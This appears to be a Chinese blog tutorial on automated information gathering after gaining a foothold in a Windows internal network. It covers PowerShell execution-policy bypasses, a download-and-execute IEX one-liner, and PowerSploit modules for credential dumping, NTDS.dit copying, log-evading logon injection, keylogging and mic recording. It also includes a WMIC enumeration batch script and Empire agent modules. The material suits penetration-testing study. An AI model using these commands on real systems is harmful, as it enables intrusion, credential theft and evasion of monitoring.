在内网渗透中,前期的信息收集是必不可少,获取主机的关键信息,往往会对后边的渗透做下很好的铺垫。上一篇记录相关的命令和信息收集的点,这一篇介绍一下在windows下信息收集时用的自动化脚本。
一般powershell都有默认的保护机制,无法直接执行ps文件,需要使用其他方法。
四种执行权限
默认是禁止脚本执行的,使用Get-ExecutionPolicy进行查看,使用Set-ExecutionPolicy命令修改。
如果想要绕过默认的策略可用以下方法
本地权限绕过执行
PowerShell -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
IEX下载远程脚本绕过执行
IEX (New-Object Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)
常用参数
PowerSploit是一个在windows下的powershell脚本集,里面包含了信息收集,权限提升,权限维持等多种功能,这里主要介绍他的信息侦查模块recon和信息收集模块exfiltration
这个脚本用于从计算机中获取有用的信息。主要获取信息如下
显式凭证登录(事件ID 4648)
登录事件(事件ID 4624)
AppLocker日志,查找创建的进程
使用PowerShell日志来查找已经执行的PowerShell脚本
RDP客户端保存服务器,这表明用户通常RDP在哪些服务器
本地加载该脚本,由于脚本并不是完整代码,只是定义了函数,所以需要载入。
1、.+空格+.\Get-ComputerDetails.ps1
2、import-Module .\Get-ComputerDetails.ps1
远程加载
IEX (New-Object Net.WebClient).DownloadString(“http://127.0.0.1/Get-ComputerDetails.ps1”)
执行结果如下
这个脚本一些值的获取需要管理员权限,其次因为有些内容可能查不到所以会报错,脚本主要用了以下几个命令。
Get-eventlog:获取本地计算机或远程计算机上事件日志或事件日志列表中的事件。
Get-WinEvent:从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。
Get-ChildItem:获取一个或多个指定位置中的项和子项。位置可以是文件系统目录、注册中心或证书存储区。
这个脚本主要用于探测web目录
同时在dictionaries目录里也提供了几个字典文件
示例
C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*}
C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
相关参数有很多,建议阅读说明文档
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 50
速度还是可以的
在使用这种有向外连接脚本的时候会触发火绒的联网控制,默认会阻止,下面是手动允许了。
反向DNS查询,扫描DNS PTR记录的IP地址范围。此脚本用于在进行授权渗透测试之前执行DNS侦察
运行结果如下,可以查找到主机名。
powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本
里面包含很多在域环境下信息收集的函数,详细函数作用及调用脚本
详情可以参考文档里面的readme文件
这里列举几个看着有点用函数:
Get-CachedRDPConnection——查询目标主机上保存的所有RDP连接项
Get-LastLoggedOn—返回目标主机的最后一个登录用户
关于域环境下相关的函数
当具体遇到哪个函数了,可以具体再去获取相关信息
直接导入目录,Import-Module ./Exfiltration
发现其中三个文件被火绒直接报毒杀掉
一个是抓密码的mimikatz,一个是ninjacopy(通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。这绕过了文件DACL、读句柄锁和SACL锁。必须是管理员才能运行该脚本。这可以用来读取通常被锁定的系统文件,比如NTDS.dit文件或注册表hives。),另外一个是Invoke-CredentialInjection(这个脚本允许攻击者使用明文凭据创建登录,而不会触发ID 4648的可疑事件(显式凭据登录)
在域控制器中搜索以查找autologon信息并返回用户名和密码。
在域控制器中搜索groups.xml, scheduledtasks.xml, services.xml和datasource .xml文件内容并返回明文密码。
键盘记录并输出
发现捕获不到键盘记录,原因未知
利用Windows API从winmm.dll记录音频从麦克风和保存波文件到磁盘。
屏幕截图,可指定间隔时间和结束时间
凭证枚举,web凭据可明文
登录注入,伪造登录
抓密码hash
超级复制,用管理员启动后可以复制受保护的运行中的系统文件
可以枚举可用的登录令牌,并使用它们创建新进程。这允许您使用
另一个用户通过使用他们的登录令牌创建一个进程来通过网络进行认证。
将包含所有进程内存的进程转储文件写入磁盘。emm看似进程转储
包含下面几个函数
Get-VolumeShadowCopy New-VolumeShadowCopy Mount-VolumeShadowCopy Remove-VolumeShadowCopy
提供系统卷影拷贝删除等功能
前面也介绍了相关wmic在信息收集时的相关命令,而wmic脚本仅仅就是将之前的命令整合起来做一个输出,可以根据自己的需求自己定制
下面是网上的wmic bat脚本,复制黏贴到文件,保存成bat格式就能用。
简单解释一下
在批处理文件中的for循环
for %%I in (command1) do command2
/f //读取文件中的内容
"delims=" //delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
我们在获取一个shell以后,就可以使用empire中powershell的脚本,脚本有很多,这里还是只介绍一下有关信息收集的脚本使用
连接上后如下
没连上前还有302个模块可用,连上后只有221个可以使用了。
大类分为code_execution(代码执行)、collection(采集)、credentials(凭据)、exfiltration(渗出)、lateral_movement(横向移动)、management(管理)、persistence(维持)、privesc(权限提升)、recon(侦查)、situational_awareness(态势感知)、troll sploit(分裂)
这上面大部分都是机译,后期会有专门的对后渗透所用的工具进行介绍,这里只做简单介绍。
使用situational_awareness模块,可以看到有以下部分,根据命名几乎都能判别其作用。
我们随便找一个端口扫描的进去看一下
发现其使用了powersploit相关模块,毕竟这款工具就是基于powershell进行开发的。
尝试使用以下arpscan模块,看一下需要什么参数,简单设置一下范围,直接使用execute执行
再试一下屏幕截屏,直接在agents下敲sc命令,会直接调用powershell/collection/screenshot模块,最后会存放于
/root/.local/powershell-empire/downloads/E8721H6C下,另外下面也会存在命令执行记录的一个log文件。
还有许多模块还没有尝试,后期会在工具篇中详细说明。另外,渗透真好玩。